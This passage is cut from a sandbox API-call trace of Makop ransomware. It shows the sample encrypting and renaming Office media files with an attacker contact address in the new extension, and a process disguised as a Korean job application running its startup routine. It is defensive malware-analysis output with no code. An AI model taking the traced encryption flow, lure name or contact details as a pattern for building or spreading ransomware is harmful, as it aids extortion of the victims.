(normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0167.012] CloseHandle (hObject=0x130) returned 1 [0167.013] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0167.013] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF") returned 70 [0167.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0167.014] GetProcessHeap () returned 0x48a0000 [0167.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0167.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0167.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0167.014] WriteFile (hFile=0x130, lpBuffer=0x6576058, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0) Thread: id = 10 os_tid = 0x89c Thread: id = 11 os_tid = 0x8ac Process: id = "2" image_name = "지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" page_root = "0x44d67000" os_pid = "0xaec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa4c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xae0 [0052.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x71233a70, dwHighDateTime=0x1d5f166)) [0052.901] GetCurrentProcessId () returned 0xaec [0052.901] GetCurrentThreadId () returned 0xae0 [0052.901] GetTickCount () returned 0x1147465 [0052.901] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17347146920) returned 1 [0052.901] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0052.902] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0052.902] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x60f0000 [0052.904] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0052.905] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0052.905] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0052.905] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0052.905] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0052.908] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x214) returned 0x60f07d0 [0052.909] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0052.909] GetCurrentThreadId () returned 0xae0 [0052.909] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0052.909] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x800) returned 0x60f09f0 [0052.910] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.910] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0052.910] GetFileType (hFile=0x4) returned 0x3 [0052.910] GetStdHandle (nStdHandle=0xfffffff4) returned 0x8 [0052.910] GetFileType (hFile=0x8) returned 0x3 [0052.911] SetHandleCount (uNumber=0x20) returned 0x20 [0052.911] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636" [0052.911] GetEnvironmentStringsW () returned 0x231e98* [0052.911] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x0, Size=0xaca) returned 0x60f11f8 [0052.911] FreeEnvironmentStringsW (penv=0x231e98) returned 1 [0052.911] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4235e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe")) returned 0x48 [0052.911] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x0, Size=0xaa) returned 0x60f1cd0 [0052.911] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x98) returned 0x60f1d88 [0052.911] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x3e) returned 0x60f1e28 [0052.912] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x6c) returned 0x60f1e70 [0052.912] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x6e) returned 0x60f1ee8 [0052.912] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x78) returned 0x60f1f60 [0052.912] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x62) returned 0x60f1fe8 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x2e) returned 0x60f2058 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x48) returned 0x60f2090 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x28) returned 0x60f20e0 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x1a) returned 0x60f2110 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x4a) returned 0x60f2138 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x72) returned 0x60f2190 [0052.914] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x30) returned 0x60f2210 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x2e) returned 0x60f2248 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x1c) returned 0x60f2280 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0xd2) returned 0x60f22a8 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x7c) returned 0x60f2388 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x36) returned 0x60f2410 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x3a) returned 0x60f2450 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x90) returned 0x60f2498 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x24) returned 0x60f2530 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x30) returned 0x60f2560 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x36) returned 0x60f2598 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x48) returned 0x60f25d8 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x52) returned 0x60f2628 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x3c) returned 0x60f2688 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x82) returned 0x60f26d0 [0052.915] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x2e) returned 0x60f2760 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x1e) returned 0x60f2798 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x2c) returned 0x60f27c0 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x54) returned 0x60f27f8 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x52) returned 0x60f2858 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x2a) returned 0x60f28b8 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x3c) returned 0x60f28f0 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x54) returned 0x60f2938 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x24) returned 0x60f2998 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x30) returned 0x60f29c8 [0052.916] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x8c) returned 0x60f2a00 [0052.916] HeapFree (in: hHeap=0x60f0000, dwFlags=0x0, lpMem=0x60f11f8 | out: hHeap=0x60f0000) returned 1 [0052.919] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x80) returned 0x60f2a98 [0052.919] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.919] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x8, Size=0x800) returned 0x60f11f8 [0052.919] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.919] GetLastError () returned 0x0 [0052.920] SetLastError (dwErrCode=0x0) [0052.920] GetLastError () returned 0x0 [0052.920] SetLastError (dwErrCode=0x0) [0052.920] GetLastError () returned 0x0 [0052.920] SetLastError (dwErrCode=0x0) [0052.920] GetACP () returned 0x4e4 [0052.920] RtlAllocateHeap (HeapHandle=0x60f0000, Flags=0x0, Size=0x220) returned 0x60f1a00 [0052.920] GetLastError () returned 0x0 [0052.921] SetLastError (dwErrCode=0x0) [0052.921] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.921] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0052.921] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0052.921] GetLastError () returned 0x0 [0052.921] SetLastError (dwErrCode=0x0) [0052.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.922] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0052.922] GetLastError () returned 0x0 [0052.922] SetLastError (dwErrCode=0x0) [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞕踣榈@Ā") returned 256 [0052.922] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞕踣榈@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.922] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞕踣榈@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0052.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ»5\x02x\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.922] GetLastError () returned 0x0 [0052.923] SetLastError (dwErrCode=0x0) [0052.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞕踣榈@Ā") returned 256 [0052.923] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞕踣榈@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.923] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞕踣榈@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0052.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 